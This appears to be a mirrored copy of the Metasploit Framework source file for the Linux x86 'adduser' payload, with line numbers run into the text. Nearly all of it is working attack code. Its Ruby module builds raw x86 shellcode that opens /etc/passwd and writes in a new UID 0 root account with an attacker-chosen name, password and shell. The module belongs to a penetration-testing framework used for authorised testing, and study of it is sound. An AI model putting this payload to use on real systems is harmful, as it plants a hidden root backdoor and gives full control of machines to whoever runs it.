Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/x86/adduser.rb
Views: 11781
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# AddUser8# -------9#10# Adds a UID 0 user to /etc/passwd.11#12###13module MetasploitModule1415CachedSize = 971617include Msf::Payload::Single18include Msf::Payload::Linux1920def initialize(info = {})21super(merge_info(info,22'Name' => 'Linux Add User',23'Description' => 'Create a new user with UID 0',24'Author' => [ 'skape', 'vlad902', 'spoonm' ],25'License' => MSF_LICENSE,26'Platform' => 'linux',27'Arch' => ARCH_X86,28'Privileged' => true))2930# Register adduser options31register_options(32[33OptString.new('USER', [ true, "The username to create", "metasploit" ]),34OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),35OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),36])37end3839#40# Dynamically builds the adduser payload based on the user's options.41#42def generate(opts={})43user = datastore['USER'] || 'metasploit'44pass = datastore['PASS'] || 'metasploit'45shell = datastore['SHELL'] || '/bin/sh'46str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"47payload =48"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58" +49"\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70" +50"\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd" +51"\x80\x93" + Rex::Arch::X86.call(str.length) + str +52"\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" +53"\xcd\x80"54end55end565758